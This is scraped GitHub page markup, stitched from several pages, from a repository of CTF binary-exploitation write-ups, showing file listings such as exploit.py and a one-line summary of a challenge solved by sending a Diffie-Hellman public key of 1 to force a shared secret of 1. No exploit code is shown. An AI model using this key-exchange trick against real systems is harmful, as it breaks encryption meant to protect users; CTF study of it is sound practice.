<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>PWN-Challenges</span></span></span><span>/</span><span><span>cyber-apocalypse2022</span></span><span>/</span>fleet_management<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>PWN-Challenges</span></span></span><span>/</span><span><span>cyber-apocalypse2022</span></span><span>/</span>fleet_management<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/vital-information-resource-under-siege/PWN-Challenges/tree-commit/007d602d070b42ca7d4803a6591f39e80e9926de/cyber-apocalypse2022/fleet_management" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/vital-information-resource-under-siege/PWN-Challenges/file-list/main/cyber-apocalypse2022/fleet_management"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>fleet_management</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
**TL;DR** The server is doing Diffie-Hellman key exchange, but doesn't give us its public key. By submitting a public key of 1, we can just use a shared secret of 1 to bootstrap encryption and get the flag. |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>PWN-Challenges/cyber-apocalypse2022/once_and_for_all at main · vital-information-resource-under-siege/PWN-Challenges · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="EC83:0D35:128892E4:13085ACD:64121B31" data-pjax-transient="true"/><meta name="html-safe-nonce" content="b6ff76dbadb03bc2d85f7321d9a59a207cb27795613ff0ca1126d7a54f852f58" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQzgzOjBEMzU6MTI4ODkyRTQ6MTMwODVBQ0Q6NjQxMjFCMzEiLCJ2aXNpdG9yX2lkIjoiNzA4MjYyNjcyNjA2OTY3Mjc1MyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="0c1c5e58b93975cb3d9a65cdeb65bf0a80905c6c00b89fdeb2276c1da67b7dd7" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:334582086" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/once_and_for_all at main · vital-information-resource-under-siege/PWN-Challenges"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/5a07d3e56adc06aabb7f65491655b09faf875bb58821875b00540cc5ef30c5f5/vital-information-resource-under-siege/PWN-Challenges" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="PWN-Challenges/cyber-apocalypse2022/once_and_for_all at main · vital-information-resource-under-siege/PWN-Challenges" /><meta name="twitter:description" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/once_and_for_all at main · vital-information-resource-under-siege/PWN-Cha..." /> <meta property="og:image" content="https://opengraph.githubassets.com/5a07d3e56adc06aabb7f65491655b09faf875bb58821875b00540cc5ef30c5f5/vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:image:alt" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/once_and_for_all at main · vital-information-resource-under-siege/PWN-Cha..." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="PWN-Challenges/cyber-apocalypse2022/once_and_for_all at main · vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:url" content="https://github.com/vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:description" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/once_and_for_all at main · vital-information-resource-under-siege/PWN-Cha..." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/vital-information-resource-under-siege/PWN-Challenges git https://github.com/vital-information-resource-under-siege/PWN-Challenges.git">
